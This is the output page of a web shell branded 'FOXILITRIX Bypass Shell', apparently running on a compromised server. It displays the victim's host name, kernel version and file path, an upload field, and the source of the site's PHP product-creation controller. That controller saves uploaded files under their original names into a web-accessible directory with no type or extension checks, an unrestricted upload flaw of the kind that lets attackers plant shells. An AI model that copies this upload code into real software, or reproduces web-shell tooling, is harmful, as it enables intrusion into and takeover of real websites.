FOXILITRIX Bypass Shell

echo"
FOXILITRIX
";
Current Path : /home/baheco/public_html/adm/clases/controlador/producto/

Linux sd-1582531-l.dattaweb.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
Upload File :
Current File : /home/baheco/public_html/adm/clases/controlador/producto/controlador-crear.php

<?php
	if (file_exists($_FILES['imagen']['tmp_name'][0]) || is_uploaded_file($_FILES['imagen']['tmp_name'][0]))
	{
		
		$directorio=dirname(dirname(dirname(dirname(dirname(__FILE__))))).'/img/';
		$correcto='Location: ../../../admin.php?seccion=crear-producto&operacion=correcto';
		$incorrecto='Location: ../../../admin.php?seccion=crear-producto&operacion=incorrecto';

		
		if(isset($_POST['nombre'])&&isset($_POST['descripcion'])&&isset($_POST['orden']))
		{
			if(move_uploaded_file($_FILES['imagen']['tmp_name'][0],$directorio.$_FILES['imagen']['name'][0]))
			{
				include_once(dirname(dirname(dirname(__FILE__))).'/modelo/producto.php');
				include_once(dirname(dirname(dirname(__FILE__))).'/datos/datos-producto.php');

				$productoDatos = new DatosProducto();
				
				$producto= new Producto();
				
				$producto->setNombre($_POST["nombre"]);
				$producto->setDescripcion($_POST["descripcion"]);
				$producto->setOrden($_POST["orden"]);

				$productoDatos->crearProducto($producto);
				$id=$productoDatos->ultimo();
				$productoDatos->editarImagen($id,'imagen0',$_FILES['imagen']['name'][0]);

				for ($i=1; $i<12 ; $i++)
				{ 
					if(is_uploaded_file($_FILES['imagen']['tmp_name'][$i]))
					{
						if(move_uploaded_file($_FILES['imagen']['tmp_name'][$i],$directorio.$_FILES['imagen']['name'][$i]))
						{
							$productoDatos->editarImagen($id,'imagen'.$i,$_FILES['imagen']['name'][$i]);	
						}
					}
				}

				header($correcto);
			}
			else
			{
				header($incorrecto);
			}
		}
		else
		{
			header($incorrecto);
		}
	}
?>

bypass 1.0